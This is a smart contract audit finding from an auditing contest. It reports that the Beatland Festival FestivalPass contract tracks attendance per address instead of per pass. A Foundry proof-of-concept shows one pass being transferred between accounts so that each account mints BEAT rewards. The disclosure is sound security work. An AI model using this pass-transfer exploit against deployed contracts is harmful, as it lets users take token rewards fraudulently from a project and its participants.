Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of per pass attendance restriction allows multiple users to exploit a single pass

Lack of per pass attendance restriction allows multiple users to exploit a single pass

Description

  • For every performance, each user has to attend using one pass

  • The FestivalPass::attendPerformance function does not enforce a per pass attendance restriction. This enables different users to attend the same performance multiple times using a single pass by transferring the pass between accounts.

@> function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • This will occur when one user attends a performance using a pass, then transfers that pass to another account, this account also attends the performance using the smae pass

Impact:

  • A single pass can be reused by multiple users to attend the same performance, allowing all of them to earn BEAT tokens fraudulently

Proof of Concept

The test below demonstrates how a single pass is transferred across multiple users, allowing all of them to attend the same performance and earn BEAT tokens

// AttendPerformance contract
import {FestivalPass} from "src/FestivalPass.sol";
import {ERC1155Holder} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import {One} from "test/Helpers/One.sol";
contract AttendPerformance is ERC1155Holder {
FestivalPass festivalPass;
One one;
uint256 public perfId;
address userOne;
address userTwo;
constructor(FestivalPass _festivalPass, address _userOne, address _userTwo, uint256 _perfId) {
festivalPass = _festivalPass;
perfId = _perfId;
userOne = _userOne;
userTwo = _userTwo;
}
function attack() external {
festivalPass.attendPerformance(perfId);
festivalPass.safeTransferFrom(address(this), userOne, 3, 1, "");
}
}
// Test
function test_attend_performance_using_one_pass() public {
address userOne = makeAddr("userOne");
address userTwo = makeAddr("userTwo");
// Organizer creates performance
vm.prank(organizer);
uint256 startTime = block.timestamp + 1 hours;
uint256 perfId = festivalPass.createPerformance(startTime, 2 hours, 250e18);
// Warp to performance time
vm.warp(startTime + 1 hours);
// Deploy contracts to game pass multiplier
AttendPerformance attend = new AttendPerformance(festivalPass, userOne, userTwo, perfId);
vm.deal(address(attend), 1 ether); // Deal some ether
// Attend contract buys BACKSTAGE pass and attends
vm.prank(address(attend));
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
attend.attack();
// User one attends performance, approves pass and transfers it to userTwo
vm.startPrank(userOne);
festivalPass.attendPerformance(perfId);
festivalPass.setApprovalForAll(userTwo, true);
(bool ok) = festivalPass.isApprovedForAll(userOne, userTwo);
festivalPass.safeTransferFrom(userOne, userTwo, 3, 1, "");
vm.stopPrank();
// User two attends
vm.prank(userTwo);
festivalPass.attendPerformance(perfId);
// All addresses have BEAT tokens
assertEq(beatToken.balanceOf(address(attend)), 765e18); // 15e18 + (250e18 * 3)
assertEq(beatToken.balanceOf(userOne), 750e18); // (250e18 * 3)
assertEq(beatToken.balanceOf(userTwo), 750e18); // (250e18 * 3)
}

Recommended Mitigation

Escrowing the pass and returning it after the performance, use Chainlink Automation for returning the pass

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.